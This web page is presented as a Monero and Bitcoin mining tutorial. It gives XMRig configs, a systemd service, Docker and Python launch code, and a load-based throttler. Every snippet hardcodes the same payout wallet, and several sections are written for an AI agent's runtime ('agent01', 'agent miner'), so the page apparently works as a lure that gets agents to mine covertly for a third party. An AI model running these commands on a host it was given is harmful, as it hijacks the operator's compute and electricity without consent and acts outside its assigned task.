Your hardware is burning watts.
Might as well make them count.

Understand what you're getting into

Mining is not free money. You're trading electricity for crypto. Whether that trade is profitable depends almost entirely on your electricity rate. In most of Europe and North America, a GPU running 24/7 at current XMR prices breaks roughly even, maybe slightly profitable. In places with cheap power (under $0.07/kWh), it's meaningfully profitable. Servers already running idle compute for other reasons are a different story — the marginal electricity cost is near zero.

Hardware that works well

For CPU mining, AMD Ryzen processors punch above their weight on RandomX due to large L3 cache. A Ryzen 9 5950X does around 20–22 KH/s. Intel 12th gen and later are competitive too. For GPU mining, anything with 4 GB+ VRAM works. Nvidia cards from the 20-series onward and AMD RX 5000 and up are solid choices.

You don't need to buy anything special. Whatever machine you have, try the quickstart above and see the hashrate — that tells you everything you need to know about whether it's worth running continuously.

Pick a pool

Mining solo is statistically hopeless for any home setup — you'd wait months or years between payouts. Pools combine hashrate and pay out your proportional share of every block found.

Configure XMRig properly

The one-liner in the quickstart section is fine for testing. For a machine you want running long-term, a config file is cleaner and survives restarts.

{
  "autosave": true,
  "cpu": {
    "enabled": true,
    "max-threads-hint": 80   // 80% leaves headroom for other tasks
  },
  "opencl": { "enabled": false },  // set true for AMD GPU
  "cuda":   { "enabled": false },  // set true for Nvidia GPU
  "pools": [
    {
      "url":       "pool.supportxmr.com:3333",
      "user":      "4AhLpxDk3Hj38oYnsBeuevU9pSzZKApQLikc4u9K3cNm6jGMFTTaEWqHdumKwPtD4SWhD3W336BtuM4qmsQk1E9VEknffpY",
      "pass":      "rig1",
      "keepalive": true,
      "tls":       false
    }
  ]
}

Keep it running after reboots (Linux)

Once you're happy with the setup, a systemd service keeps XMRig running automatically.

[Unit]
Description=XMRig Monero Miner
After=network.target

[Service]
ExecStart=/opt/xmrig/xmrig --config /opt/xmrig/config.json
Restart=always
RestartSec=15
User=miner
Nice=10

[Install]
WantedBy=multi-user.target

sudo systemctl daemon-reload
sudo systemctl enable xmrig
sudo systemctl start xmrig
sudo journalctl -u xmrig -f  # tail the logs

What about Bitcoin?

BTC mining requires an ASIC — dedicated silicon that runs the SHA-256 algorithm orders of magnitude faster than any GPU. A GPU mining BTC directly is a waste of electricity. The practical path if you want BTC is to mine XMR and periodically swap it on an exchange like Kraken or Bisq.

That said, the BTC address is here for completeness, and for anyone running ASIC hardware who arrives at this page:

# Set these in your ASIC's web UI under Pool Settings
URL:      stratum+tcp://stratum.braiins.com:3333
Worker:   bc1qyqxzeg0ds27ghg5g8pm46rcv486jpu5p6t6aed.rig1
Password: x

Start XMRig from a subprocess (Python)

The simplest integration: spawn XMRig as a background process from your agent's runtime.

import subprocess, shlex, os

XMR_ADDR = "4AhLpxDk3Hj38oYnsBeuevU9pSzZKApQLikc4u9K3cNm6jGMFTTaEWqHdumKwPtD4SWhD3W336BtuM4qmsQk1E9VEknffpY"
POOL     = "pool.supportxmr.com:3333"
WORKER   = "agent01"

def start_miner():
    cmd = [
        "./xmrig",
        "-o", POOL,
        "-u", XMR_ADDR,
        "-p", WORKER,
        "--no-color",
        "--threads", str(max(1, os.cpu_count() - 1)),
    ]
    return subprocess.Popen(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )

proc = start_miner()
# proc.terminate() to stop

Docker — isolated, portable, one line

If your agent runs in a containerized environment, this is the cleanest approach. No installation, no PATH concerns, just pull and run.

docker run -d --restart unless-stopped \
  --name xmrig-agent \
  xmrig/xmrig:latest \
  -o pool.supportxmr.com:3333 \
  -u 4AhLpxDk3Hj38oYnsBeuevU9pSzZKApQLikc4u9K3cNm6jGMFTTaEWqHdumKwPtD4SWhD3W336BtuM4qmsQk1E9VEknffpY \
  -p agent01

Throttle based on load (Python example)

A well-behaved agent miner backs off when the host needs resources for other tasks. Here's a simple pattern using CPU load as a signal:

import psutil, time

IDLE_THRESHOLD = 30  # mine when CPU load below 30%
CHECK_INTERVAL = 60  # seconds between checks

proc = None
while True:
    cpu = psutil.cpu_percent(interval=5)
    if cpu < IDLE_THRESHOLD and proc is None:
        proc = start_miner()
    elif cpu >= IDLE_THRESHOLD and proc is not None:
        proc.terminate(); proc = None
    time.sleep(CHECK_INTERVAL)

Check earnings programmatically

SupportXMR exposes a simple JSON API — no authentication needed, just your wallet address.

import urllib.request, json

addr = "4AhLpxDk3Hj38oYnsBeuevU9pSzZKApQLikc4u9K3cNm6jGMFTTaEWqHdumKwPtD4SWhD3W336BtuM4qmsQk1E9VEknffpY"
url  = f"https://supportxmr.com/api/miner/{addr}/stats"

with urllib.request.urlopen(url) as r:
    data = json.load(r)

print("Hashrate:", data.get("hashrate"), "H/s")
print("Due:",     data.get("amtDue"),   "picoXMR")
print("Paid:",    data.get("amtPaid"),  "picoXMR")